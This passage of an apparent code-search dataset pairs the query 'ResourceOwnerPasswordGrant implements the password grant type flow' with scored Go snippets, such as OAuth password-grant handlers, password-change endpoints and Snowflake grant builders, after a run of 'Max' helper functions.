"ebc6f7bdc103e4aff49782c4243b0caa", "score": "0.5222743", "text": "func Max(xs []float64) float64 {\n\tmax := 0.0\n\tfor _, v := range xs {\n\t\tif v > max {\n\t\t\tmax = v\n\t\t}\n\t}\n\treturn max\n}", "title": "" }, { "docid": "9be081fb6b216b5cc22750c789ad50c2", "score": "0.52193296", "text": "func (ssv *stdStaySetVariable) MaxValue() int64 { return ssv.maxValue }", "title": "" }, { "docid": "df276f9a0c8c03188eadfcfd05b42b1c", "score": "0.5215919", "text": "func (h *Histogram) Max() []DataPoint {\n\th.Lock()\n\tdefer h.Unlock()\n\tif !h.sorted {\n\t\th.sort()\n\t}\n\n\t// Return an empty list for an empty histogram.\n\tif len(h.dataPoints) == 0 {\n\t\treturn []DataPoint{}\n\t}\n\n\t// Add last value in sorted list\n\tdps := []DataPoint{\n\t\t*h.dataPoints[len(h.dataPoints)-1],\n\t}\n\t// walk backwards from end of dataPoints list to capture all\n\t// DataPoints which are tied for max hits.\n\tfor i := len(h.dataPoints) - 2; i > -1; i-- {\n\t\tif h.dataPoints[i].Hits == dps[0].Hits {\n\t\t\tdps = append(dps, *h.dataPoints[i])\n\t\t\tcontinue\n\t\t}\n\t\tbreak\n\t}\n\n\treturn dps\n}", "title": "" }, { "docid": "dfc9931fd409a8d8d9b6b094f93f53be", "score": "0.52058375", "text": "func getMinMaxFrequencies(fps map[string]*frequencyplans.FrequencyPlan) (uint64, uint64, error) {\n\tvar min, max uint64\n\tmin = math.MaxUint64\n\tfor _, fp := range fps {\n\t\tif len(fp.Radios) == 0 {\n\t\t\treturn 0, 0, errFrequencyPlan.New()\n\t\t}\n\t\tif fp.Radios[0].TxConfiguration.MinFrequency < min {\n\t\t\tmin = fp.Radios[0].TxConfiguration.MinFrequency\n\t\t}\n\t\tif fp.Radios[0].TxConfiguration.MaxFrequency > max {\n\t\t\tmax = fp.Radios[0].TxConfiguration.MaxFrequency\n\t\t}\n\t}\n\treturn min, max, nil\n}", "title": "" }, { "docid": "37762237d70344fafb2e0f695850d471", "score": "0.5196034", "text": "func (df *DataFrame) Max() *Series {\n\treturn df.math(\"max\", max)\n}", "title": "" }, { "docid": "0401d7973603bd2f04a59da08bded8b7", "score": "0.51907176", "text": "func max(root *node) int {\n\tmax := math.MinInt64\n\tmaxUtil(root, &max)\n\treturn max\n}", "title": "" }, { "docid": "c4a89dd02a6860b086d6eb58bf5f2503", "score": "0.51896286", "text": "func MaxWin() dsp.Processer {\n\treturn dsp.NewOneProc(func(in ...dsp.Processer) (dsp.Value, error) {\n\t\tvar max *narray.NArray\n\t\tvar i int\n\t\tfor {\n\t\t\tvec, err := dsp.Processers(in).Get(i)\n\t\t\tif err == dsp.ErrOOB {\n\t\t\t\treturn max, nil\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif i == 0 {\n\t\t\t\tmax = narray.New(vec.(*narray.NArray).Shape[0])\n\t\t\t\tmax.SetValue(-math.MaxFloat64)\n\t\t\t}\n\t\t\tnarray.MaxArray(max, vec.(*narray.NArray), max)\n\t\t\ti++\n\t\t}\n\t})\n}", "title": "" }, { "docid": "2f52714ac6380d9e5e1d22ce2f2ad97e", "score": "0.51828504", "text": "func (ms *myStack) GetMax() int {\n\tcompareNum := 0\n\n\tfor _, v := range *ms {\n\t\tif v > compareNum {\n\t\t\tcompareNum = v\n\t\t}\n\t}\n\n\treturn compareNum\n}", "title": "" }, { "docid": "61dac5800d289a69f854257652822251", "score": "0.5177222", "text": "func (r *FluxMonitorSpecResolver) AbsoluteThreshold() float64 {\n\treturn float64(r.spec.AbsoluteThreshold)\n}", "title": "" } ]
7ae94955648b8666da62cb9ee340e3a2
ResourceOwnerPasswordGrant implements the password grant type flow
[ { "docid": "1493092556ceaaceb33c0baab72d469e", "score": "0.7930446", "text": "func (a *API) ResourceOwnerPasswordGrant(ctx context.Context, w http.ResponseWriter, r *http.Request) error {\n\tdb := a.db.WithContext(ctx)\n\n\tparams := &PasswordGrantParams{}\n\n\tbody, err := getBodyBytes(r)\n\tif err != nil {\n\t\treturn badRequestError(\"Could not read body\").WithInternalError(err)\n\t}\n\n\tif err := json.Unmarshal(body, params); err != nil {\n\t\treturn badRequestError(\"Could not read password grant params: %v\", err)\n\t}\n\n\taud := a.requestAud(ctx, r)\n\tconfig := a.config\n\n\tif params.Email != \"\" && params.Phone != \"\" {\n\t\treturn unprocessableEntityError(\"Only an email address or phone number should be provided on login.\")\n\t}\n\tvar user *models.User\n\tvar grantParams models.GrantParams\n\tvar provider string\n\tif params.Email != \"\" {\n\t\tprovider = \"email\"\n\t\tif !config.External.Email.Enabled {\n\t\t\treturn badRequestError(\"Email logins are disabled\")\n\t\t}\n\t\tuser, err = models.FindUserByEmailAndAudience(db, params.Email, aud)\n\t} else if params.Phone != \"\" {\n\t\tprovider = \"phone\"\n\t\tif !config.External.Phone.Enabled {\n\t\t\treturn badRequestError(\"Phone logins are disabled\")\n\t\t}\n\t\tparams.Phone = formatPhoneNumber(params.Phone)\n\t\tuser, err = models.FindUserByPhoneAndAudience(db, params.Phone, aud)\n\t} else {\n\t\treturn oauthError(\"invalid_grant\", InvalidLoginMessage)\n\t}\n\n\tif err != nil {\n\t\tif models.IsNotFoundError(err) {\n\t\t\treturn oauthError(\"invalid_grant\", InvalidLoginMessage)\n\t\t}\n\t\treturn internalServerError(\"Database error querying schema\").WithInternalError(err)\n\t}\n\n\tif user.IsBanned() || !user.Authenticate(params.Password) {\n\t\treturn oauthError(\"invalid_grant\", InvalidLoginMessage)\n\t}\n\n\tif params.Email != \"\" && !user.IsConfirmed() {\n\t\treturn oauthError(\"invalid_grant\", \"Email not confirmed\")\n\t} else if params.Phone != \"\" && !user.IsPhoneConfirmed() {\n\t\treturn oauthError(\"invalid_grant\", \"Phone not confirmed\")\n\t}\n\n\tvar token *AccessTokenResponse\n\terr = db.Transaction(func(tx *storage.Connection) error {\n\t\tvar terr error\n\t\tif terr = models.NewAuditLogEntry(r, tx, user, models.LoginAction, \"\", map[string]interface{}{\n\t\t\t\"provider\": provider,\n\t\t}); terr != nil {\n\t\t\treturn terr\n\t\t}\n\t\tif terr = triggerEventHooks(ctx, tx, LoginEvent, user, config); terr != nil {\n\t\t\treturn terr\n\t\t}\n\t\ttoken, terr = a.issueRefreshToken(ctx, tx, user, models.PasswordGrant, grantParams)\n\n\t\tif terr != nil {\n\t\t\treturn terr\n\t\t}\n\n\t\tif terr = a.setCookieTokens(config, token, false, w); terr != nil {\n\t\t\treturn internalServerError(\"Failed to set JWT cookie. %s\", terr)\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\tmetering.RecordLogin(\"password\", user.ID)\n\treturn sendJSON(w, http.StatusOK, token)\n}", "title": "" } ]
[ { "docid": "842f26b150a942af66b99a19d07c1f40", "score": "0.76395464", "text": "func (s *server) ResourceOwnerPasswordGrant(w http.ResponseWriter, r *http.Request) {\n\tctx := r.Context()\n\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\tcookie := r.Header.Get(xhttp.XUseCookie)\n\n\tif username == \"\" {\n\t\ts.log.WithContext(ctx).Warn(\"username required\")\n\n\t\ts.handleError(w, r, oauthError(\"invalid_grant\", \"Field username required.\"))\n\t\treturn\n\t}\n\tif password == \"\" {\n\t\ts.log.WithContext(ctx).Warn(\"password required\")\n\n\t\ts.handleError(w, r, oauthError(\"invalid_grant\", \"Field password required.\"))\n\t\treturn\n\t}\n\n\tuser, err := s.userUsecase.Authenticate(ctx, username, []byte(password))\n\tif err != nil {\n\t\ts.log.WithContext(ctx).\n\t\t\tWithFields(logger.Fields{\"identifier\": username}).\n\t\t\tWarnf(\"authentication failed: %v\", err)\n\n\t\ts.handleError(w, r, oauthError(\"invalid_grant\", \"No user found with that identifier, or password invalid.\"))\n\t\treturn\n\t}\n\n\tctx = s.log.NewContext(ctx, logger.Fields{\"user_id\": user.ID})\n\n\tif !user.IsConfirmed() {\n\t\ts.log.WithContext(ctx).Warn(\"email not confirmed\")\n\n\t\ts.handleError(w, r, oauthError(\"invalid_grant\", \"Email not confirmed\"))\n\t\treturn\n\t}\n\n\tvar token *AccessTokenResponse\n\n\ttoken, err = s.issueRefreshToken(ctx, user)\n\tif err != nil {\n\t\tif e, ok := err.(ErrorCause); ok {\n\t\t\ts.log.WithContext(ctx).Errorf(\"issue refresh token: %v\", e.Cause())\n\t\t} else {\n\t\t\ts.log.WithContext(ctx).Errorf(\"issue refresh token: %v\", err)\n\t\t}\n\n\t\ts.handleError(w, r, internalServerError(\"Failed to issue refresh token. %s\", err))\n\t\treturn\n\t}\n\n\ts.log.WithContext(ctx).Info(\"issued refresh token\")\n\n\tif cookie != \"\" && s.config.API.Cookie.DurationSeconds > 0 {\n\t\terr := s.setCookieToken(ctx, w, token.Token, cookie == useSessionCookie)\n\t\tif err != nil {\n\t\t\ts.log.WithContext(ctx).Errorf(\"set cookie: %v\", err)\n\n\t\t\ts.handleError(w, r, internalServerError(\"Failed to set JWT cookie. %s\", err))\n\t\t\treturn\n\t\t}\n\t}\n\n\tmustSendJSON(w, http.StatusOK, token)\n}", "title": "" }, { "docid": "461ad3c983c86fb644600af5e1b6ed25", "score": "0.67794836", "text": "func (c *OauthClient) ResourceOwner(appID string, scope string, owner string, ownerPassword string) (*TokenResponse, *ErrorResponse, error) {\n\targs := make(map[string]string)\n\targs[\"grant_type\"] = \"password\"\n\targs[\"username\"] = owner\n\targs[\"password\"] = ownerPassword\n\targs[\"scope\"] = scope\n\treturn c.postAndGetResponse(\"/oauth2/token/\"+appID, args)\n}", "title": "" }, { "docid": "058f61614212372dfe7acf97982c2860", "score": "0.54491574", "text": "func (ge *CurrentGrantExecutable) Grant(p string) string {\n\tvar template string\n\tif p == `OWNERSHIP` {\n\t\ttemplate = `GRANT %v ON %v %v TO %v \"%v\" COPY CURRENT GRANTS`\n\t} else {\n\t\ttemplate = `GRANT %v ON %v %v TO %v \"%v\"`\n\t}\n\treturn fmt.Sprintf(template,\n\t\tp, ge.grantType, ge.grantName, ge.granteeType, ge.granteeName)\n}", "title": "" }, { "docid": "02e9bdd6893eaaa0137e434e3df71cf5", "score": "0.5351969", "text": "func PasswordMiddleware(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tusername, password, ok := r.BasicAuth()\n\t\tif ok && username != oauthBasicUsername {\n\t\t\tctx, cl := handlerutil.Client(r)\n\n\t\t\t// Request access token based on username and password.\n\t\t\ttok, err := cl.Auth.GetAccessToken(ctx, &sourcegraph.AccessTokenRequest{\n\t\t\t\tAuthorizationGrant: &sourcegraph.AccessTokenRequest_ResourceOwnerPassword{\n\t\t\t\t\tResourceOwnerPassword: &sourcegraph.LoginCredentials{Login: username, Password: password},\n\t\t\t\t},\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"PasswordMiddleware: error getting resource owner password access token for user %q: %s.\", username, err)\n\t\t\t\thttp.Error(w, \"error getting access token for username/password\", http.StatusForbidden)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tctx = sourcegraph.WithCredentials(ctx, oauth2.StaticTokenSource(&oauth2.Token{AccessToken: tok.AccessToken, TokenType: \"Bearer\"}))\n\t\t\thttpctx.SetForRequest(r, ctx)\n\n\t\t\t// Vary based on Authorization header if the request is\n\t\t\t// operating with any level of authorization, so that the\n\t\t\t// response can't be cached and mixed in with unauthorized\n\t\t\t// responses in an HTTP cache.\n\t\t\tw.Header().Add(\"vary\", \"Authorization\")\n\t\t}\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "2aebde956e87e0129a4c16fb1102b8bf", "score": "0.5285981", "text": "func (o RegistryTaskRegistryCredentialCustomOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RegistryTaskRegistryCredentialCustom) *string { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "eda352757e9a11fe102de76badb0e75e", "score": "0.52837133", "text": "func ChangeOwnerPassword(rs io.ReadSeeker, w io.Writer, pwOld, pwNew string, conf *model.Configuration) error {\n\tif rs == nil {\n\t\treturn errors.New(\"pdfcpu: ChangeOwnerPassword: missing rs\")\n\t}\n\n\tif conf == nil {\n\t\treturn errors.New(\"pdfcpu: missing configuration for change owner password\")\n\t}\n\n\tconf.Cmd = model.CHANGEOPW\n\tconf.OwnerPW = pwOld\n\tconf.OwnerPWNew = &pwNew\n\n\treturn Optimize(rs, w, conf)\n}", "title": "" }, { "docid": "c42dafc180c1e60df69450693865e770", "score": "0.5272714", "text": "func grantType(creds config.Credentials) OAuthGrantType {\n\tif config.UseDeviceFlow() {\n\t\treturn OAuthGrantTypeDeviceFlow\n\t}\n\tif creds.UseManagedIdentity() {\n\t\treturn OAuthGrantTypeManagedIdentity\n\t}\n\treturn OAuthGrantTypeServicePrincipal\n}", "title": "" }, { "docid": "4d4880d2773f5836448c43fd037a908c", "score": "0.52227736", "text": "func DatabaseGrant() *TerraformGrantResource {\n\treturn &TerraformGrantResource{\n\t\tResource: &schema.Resource{\n\t\t\tCreate: CreateDatabaseGrant,\n\t\t\tRead: ReadDatabaseGrant,\n\t\t\tDelete: DeleteDatabaseGrant,\n\t\t\tUpdate: UpdateDatabaseGrant,\n\n\t\t\tSchema: databaseGrantSchema,\n\t\t\tImporter: &schema.ResourceImporter{\n\t\t\t\tStateContext: schema.ImportStatePassthroughContext,\n\t\t\t},\n\t\t},\n\t\tValidPrivs: validDatabasePrivileges,\n\t}\n}", "title": "" }, { "docid": "e0c0c228dadbabf6ca8329ee6cdc6352", "score": "0.5216152", "text": "func (client IdentityClient) createOrResetUIPassword(ctx context.Context, request common.OCIRequest, binaryReqBody *common.OCIReadSeekCloser, extraHeaders map[string]string) (common.OCIResponse, error) {\n\n\thttpRequest, err := request.HTTPRequest(http.MethodPost, \"/users/{userId}/uiPassword\", binaryReqBody, extraHeaders)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response CreateOrResetUIPasswordResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}", "title": "" }, { "docid": "16f7d7fd4db080d3448b67b621113ca4", "score": "0.520701", "text": "func checkOwnerWithPasswordPrompt(name string, config *configuration.Configuration, c *cli.Context) (string, *configuration.Private, error) {\n\tif \"\" == name {\n\t\tname = config.DefaultIdentity\n\t}\n\n\tvar err error\n\n\t// get global password items\n\tagent := c.GlobalString(\"use-agent\")\n\tclearCache := c.GlobalBool(\"zero-agent-cache\")\n\tpassword := c.GlobalString(\"password\")\n\n\t// check owner password\n\tif \"\" != agent {\n\t\tpassword, err = passwordFromAgent(name, \"Password for bitmark-cli\", agent, clearCache)\n\t\tif nil != err {\n\t\t\treturn \"\", nil, err\n\t\t}\n\t} else if \"\" == password {\n\t\tpassword, err = promptPassword(name)\n\t\tif nil != err {\n\t\t\treturn \"\", nil, err\n\t\t}\n\n\t}\n\towner, err := config.Private(password, name)\n\tif nil != err {\n\t\treturn \"\", nil, err\n\t}\n\treturn name, owner, nil\n}", "title": "" }, { "docid": "c76699f15f7f8e0af78d776b4971c859", "score": "0.5197887", "text": "func (g Graph) ChangeOwnPassword(w http.ResponseWriter, r *http.Request) {\n\tctx := r.Context()\n\tu, ok := revactx.ContextGetUser(ctx)\n\tif !ok {\n\t\tg.logger.Error().Msg(\"user not in context\")\n\t\terrorcode.ServiceNotAvailable.Render(w, r, http.StatusInternalServerError, \"user not in context\")\n\t\treturn\n\t}\n\n\tsanitizedPath := strings.TrimPrefix(r.URL.Path, \"/graph/v1.0/\")\n\t_, err := godata.ParseRequest(r.Context(), sanitizedPath, r.URL.Query())\n\tif err != nil {\n\t\tg.logger.Err(err).Interface(\"query\", r.URL.Query()).Msg(\"query error\")\n\t\terrorcode.InvalidRequest.Render(w, r, http.StatusBadRequest, err.Error())\n\t\treturn\n\t}\n\tcpw := libregraph.NewPasswordChangeWithDefaults()\n\terr = StrictJSONUnmarshal(r.Body, cpw)\n\tif err != nil {\n\t\terrorcode.InvalidRequest.Render(w, r, http.StatusBadRequest, err.Error())\n\t\treturn\n\t}\n\n\tcurrentPw := cpw.GetCurrentPassword()\n\tif currentPw == \"\" {\n\t\terrorcode.InvalidRequest.Render(w, r, http.StatusBadRequest, \"current password cannot be empty\")\n\t\treturn\n\t}\n\n\tnewPw := cpw.GetNewPassword()\n\tif newPw == \"\" {\n\t\terrorcode.InvalidRequest.Render(w, r, http.StatusBadRequest, \"new password cannot be empty\")\n\t\treturn\n\t}\n\n\tif newPw == currentPw {\n\t\terrorcode.InvalidRequest.Render(w, r, http.StatusBadRequest, \"new password must be differnt from current password\")\n\t\treturn\n\t}\n\n\tauthReq := &gateway.AuthenticateRequest{\n\t\tType: \"basic\",\n\t\tClientId: u.Username,\n\t\tClientSecret: currentPw,\n\t}\n\tclient, err := g.gatewaySelector.Next()\n\tif err != nil {\n\t\terrorcode.ServiceNotAvailable.Render(w, r, http.StatusInternalServerError, \"could not select next gateway client, aborting\")\n\t\treturn\n\t}\n\tauthRes, err := client.Authenticate(r.Context(), authReq)\n\tif err != nil {\n\t\terrorcode.ServiceNotAvailable.Render(w, r, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t}\n\n\tswitch authRes.Status.Code {\n\tcase cs3rpc.Code_CODE_OK:\n\t\tbreak\n\tcase cs3rpc.Code_CODE_UNAUTHENTICATED, cs3rpc.Code_CODE_PERMISSION_DENIED:\n\t\terrorcode.InvalidRequest.Render(w, r, http.StatusBadRequest, \"wrong current password\")\n\t\treturn\n\tdefault:\n\t\terrorcode.InvalidRequest.Render(w, r, http.StatusInternalServerError, \"password change failed\")\n\t\treturn\n\t}\n\n\tnewPwProfile := libregraph.NewPasswordProfile()\n\tnewPwProfile.SetPassword(newPw)\n\tchanges := libregraph.NewUser()\n\tchanges.SetPasswordProfile(*newPwProfile)\n\t_, err = g.identityBackend.UpdateUser(ctx, u.Id.OpaqueId, *changes)\n\tif err != nil {\n\t\terrorcode.InvalidRequest.Render(w, r, http.StatusInternalServerError, \"password change failed\")\n\t\tg.logger.Debug().Err(err).Str(\"userid\", u.Id.OpaqueId).Msg(\"failed to update user password\")\n\t\treturn\n\t}\n\n\tcurrentUser := revactx.ContextMustGetUser(r.Context())\n\tg.publishEvent(\n\t\tctx,\n\t\tevents.UserFeatureChanged{\n\t\t\tExecutant: currentUser.Id,\n\t\t\tUserID: u.Id.OpaqueId,\n\t\t\tFeatures: []events.UserFeature{\n\t\t\t\t{Name: \"password\", Value: \"***\"},\n\t\t\t},\n\t\t},\n\t)\n\n\trender.Status(r, http.StatusNoContent)\n\trender.NoContent(w, r)\n}", "title": "" }, { "docid": "d641355922cc4f018ee553e5448ed9ee", "score": "0.5155496", "text": "func AccountGrant() *TerraformGrantResource {\n\treturn &TerraformGrantResource{\n\t\tResource: &schema.Resource{\n\t\t\tCreate: CreateAccountGrant,\n\t\t\tRead: ReadAccountGrant,\n\t\t\tDelete: DeleteAccountGrant,\n\t\t\tUpdate: UpdateAccountGrant,\n\n\t\t\tSchema: accountGrantSchema,\n\t\t\tImporter: &schema.ResourceImporter{\n\t\t\t\tStateContext: schema.ImportStatePassthroughContext,\n\t\t\t},\n\t\t},\n\t\tValidPrivs: validAccountPrivileges,\n\t}\n}", "title": "" }, { "docid": "2f57a28de7be8ecc61f4d35675105150", "score": "0.5113999", "text": "func (o AzureSqlReferenceInputDataSourcePropertiesResponseOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v AzureSqlReferenceInputDataSourcePropertiesResponse) *string { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "e3f8a38b9894679b446623898b762e39", "score": "0.5108798", "text": "func (c *Client) Password(ctx context.Context, password string) (*tg.AuthAuthorization, error) {\n\tp, err := c.api.AccountGetPassword(ctx)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"get SRP parameters\")\n\t}\n\n\ta, err := PasswordHash([]byte(password), p.SRPID, p.SRPB, p.SecureRandom, p.CurrentAlgo)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"compute password hash\")\n\t}\n\n\tauth, err := c.api.AuthCheckPassword(ctx, &tg.InputCheckPasswordSRP{\n\t\tSRPID: p.SRPID,\n\t\tA: a.A,\n\t\tM1: a.M1,\n\t})\n\tif tg.IsPasswordHashInvalid(err) {\n\t\treturn nil, ErrPasswordInvalid\n\t}\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"check password\")\n\t}\n\tresult, err := checkResult(auth)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"check\")\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "07340fdf057788f47870ac65b8940666", "score": "0.5101209", "text": "func ResourceMonitorGrant(w string) GrantBuilder {\n\treturn &CurrentGrantBuilder{\n\t\tname: w,\n\t\tqualifiedName: fmt.Sprintf(`\"%v\"`, w),\n\t\tgrantType: resourceMonitorType,\n\t}\n}", "title": "" }, { "docid": "56775c52d68ef7e21831c8ac9a098bd5", "score": "0.5035375", "text": "func (o AzureSynapseOutputDataSourceResponseOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v AzureSynapseOutputDataSourceResponse) *string { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "babaad10d427c931aef797e2ae2d5d02", "score": "0.50307435", "text": "func (keycloakClient KeycloakClient) DirectGrantAuthentication(clientId string, clientSecret string, realm string, username string, password string) (*OIDCToken, error) {\n\tresp, err := resty.R().\n\t\tSetHeader(\"Content-Type\", \"application/x-www-form-urlencoded\").\n\t\tSetHeader(\"Authorization\", getBasicAuthForClient(clientId, clientSecret)).\n\t\tSetFormData(map[string]string{\n\t\t\t\"grant_type\": \"password\",\n\t\t\t\"username\": username,\n\t\t\t\"password\": password,\n\t\t}).Post(keycloakClient.Server + \"/auth/realms/\" + realm + \"/protocol/openid-connect/token\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Here’s the actual decoding, and a check for associated errors.\n\tvar result map[string]interface{}\n\tif err := json.Unmarshal(resp.Body(), &result); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Check for Result\n\tif val, ok := result[\"access_token\"]; ok {\n\t\t_ = val\n\t\treturn &OIDCToken{\n\t\t\tAccessToken: result[\"access_token\"].(string),\n\t\t\tExpiresIn: result[\"expires_in\"].(float64),\n\t\t\tRefreshExpiresIn: result[\"refresh_expires_in\"].(float64),\n\t\t\tRefreshToken: result[\"refresh_token\"].(string),\n\t\t\tTokenType: result[\"token_type\"].(string),\n\t\t}, nil\n\t}\n\n\treturn nil, errors.New(\"Authentication failed\")\n}", "title": "" }, { "docid": "daba5ad451caaf77929dee1fac56b578", "score": "0.49747524", "text": "func (ic *iamClient) AuthResourceCreatorPerm(ctx context.Context, resource ResourceCreator,\n\tancestors []Ancestor) error {\n\tvar (\n\t\t_ = \"AuthResourceCreatorPerm\"\n\t\tpath = \"/api/v1/open/authorization/resource_creator_action/\"\n\t)\n\n\tvar (\n\t\turl = ic.opt.GateWayHost + path\n\t\tresp = &ResourceCreatorActionResponse{}\n\t)\n\n\tauth, err := ic.generateGateWayAuth(\"\")\n\tif err != nil {\n\t\tklog.Errorf(\"AuthResourceCreatorPerm generateGateWayAuth failed: %v\", err)\n\t\treturn err\n\t}\n\n\trequest := buildResourceCreatorActionRequest(resource, ancestors)\n\n\tresult, body, errs := gorequest.New().\n\t\tTimeout(defaultTimeOut).\n\t\tPost(url).\n\t\tSet(\"Content-Type\", \"application/json\").\n\t\tSet(\"Accept\", \"application/json\").\n\t\tSet(\"X-Bkapi-Authorization\", auth).\n\t\tSetDebug(true).\n\t\tSend(&request).\n\t\tEndStruct(resp)\n\n\tif len(errs) != 0 {\n\t\tklog.Errorf(\"AuthResourceCreatorPerm gorequest errors=`%s`\", errs)\n\t\treturn errs[0]\n\t}\n\tif result.StatusCode != http.StatusOK || resp.Code != 0 {\n\t\terrMsg := fmt.Errorf(\"AuthResourceCreatorPerm API error: code[%v], body[%v], err[%s]\",\n\t\t\tresult.StatusCode, string(body), resp.Message)\n\t\treturn errMsg\n\t}\n\n\tklog.Infof(\"AuthResourceCreatorPerm[%s:%s] successful[%+v]\", request.System, resource.Creator, resp.Data)\n\n\treturn nil\n}", "title": "" }, { "docid": "9b144a854f684d63ac9f711a820cc403", "score": "0.49513203", "text": "func (o GoogleAccountOutput) Password() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GoogleAccount) string { return v.Password }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "9b144a854f684d63ac9f711a820cc403", "score": "0.49513203", "text": "func (o GoogleAccountOutput) Password() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GoogleAccount) string { return v.Password }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "646a8f9f8a06acfc1c4bef1e82828800", "score": "0.49433196", "text": "func (o GoogleAccountResponseOutput) Password() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GoogleAccountResponse) string { return v.Password }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "646a8f9f8a06acfc1c4bef1e82828800", "score": "0.49433196", "text": "func (o GoogleAccountResponseOutput) Password() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GoogleAccountResponse) string { return v.Password }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "5978f4a72a0a76e75e74e511fa993cdc", "score": "0.49407703", "text": "func authenticateWithCorrectPassword(ctx, ctxForCleanUp context.Context, testUser string, r *hwsecremote.CmdRunnerRemote, helper *hwsecremote.CmdHelperRemote, userParam pinWeaverWithAuthAPIParam) error {\n\tcryptohomeHelper := helper.CryptohomeClient()\n\n\t// Authenticate a new auth session via the new password auth factor and mount the user.\n\t_, authSessionID, err := cryptohomeHelper.StartAuthSession(ctx, testUser, false /*ephemeral*/, uda.AuthIntent_AUTH_INTENT_DECRYPT)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to start auth session for password authentication\")\n\t}\n\tdefer cryptohomeHelper.InvalidateAuthSession(ctxForCleanUp, authSessionID)\n\n\t// Authenticate with correct password.\n\tif userParam.useAuthFactor {\n\t\treply, err := cryptohomeHelper.AuthenticateAuthFactor(ctx, authSessionID, passwordAuthFactorLabel, passwordAuthFactorSecret)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to authenticate auth factor\")\n\t\t}\n\t\tif !reply.Authenticated {\n\t\t\treturn errors.New(\"AuthSession not authenticated despite successful reply\")\n\t\t}\n\t\tif err := cryptohomecommon.ExpectAuthIntents(reply.AuthorizedFor, []uda.AuthIntent{\n\t\t\tuda.AuthIntent_AUTH_INTENT_DECRYPT,\n\t\t\tuda.AuthIntent_AUTH_INTENT_VERIFY_ONLY,\n\t\t}); err != nil {\n\t\t\treturn errors.Wrap(err, \"unexpected AuthSession authorized intents\")\n\t\t}\n\t} else {\n\t\terr = cryptohomeHelper.AuthenticateAuthSession(ctx, passwordAuthFactorSecret, passwordAuthFactorLabel, authSessionID, false /*kiosk_mount*/)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to authenticate AuthSession\")\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "de95ff475c24f114e166d5ae61ac5e7e", "score": "0.49363807", "text": "func (userHandlersImpl UserHandlersImpl) ResendPassword(w http.ResponseWriter, req *http.Request) {\n\tctx := req.Context()\n\tvars := mux.Vars(req)\n\tid := vars[\"id\"]\n\tlog.Logger(ctx).Info(\"in request\")\n\n\terr := userHandlersImpl.userSvc.ResendPassword(ctx, id)\n\tif err != nil {\n\t\tWriteHTTPError(w, http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tresp := \"\"\n\tWriteOKResponse(w, resp)\n}", "title": "" }, { "docid": "dbb13a2dbd4fb959b8f90dba13922c76", "score": "0.4933596", "text": "func askForPassword(a *app.App) error {\r\n\tstdin := int(syscall.Stdin)\r\n\tfmt.Print(\"New password: \")\r\n\tp1, err := terminal.ReadPassword(stdin)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\tfmt.Print(\"\\n\")\r\n\tfmt.Print(\"New password (again): \")\r\n\tp2, err := terminal.ReadPassword(stdin)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\tfmt.Print(\"\\n\")\r\n\tif !bytes.Equal(p1, p2) {\r\n\t\tlog.Fatal(\"passwords must match\")\r\n\t}\r\n\thash, err := bcrypt.GenerateFromPassword(p1, bcrypt.DefaultCost)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\terr = a.DB.Update(func(tx *bolt.Tx) error {\r\n\t\tb := tx.Bucket([]byte(\"settings\"))\r\n\t\treturn b.Put([]byte(\"password-hash\"), hash)\r\n\t})\r\n\treturn err\r\n}", "title": "" }, { "docid": "4cebefbd23125b42e2c5a3bbd675c37f", "score": "0.49332923", "text": "func (n *noopRules) Grant(rule *Rule) error {\n\treturn nil\n}", "title": "" }, { "docid": "5b300587d668a82b45ff909dba3daace", "score": "0.490749", "text": "func (o AzureSqlReferenceInputDataSourcePropertiesOutput) Password() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v AzureSqlReferenceInputDataSourceProperties) *string { return v.Password }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "46b68fd71f934508c68dc7d48cf32ddd", "score": "0.49000803", "text": "func (o 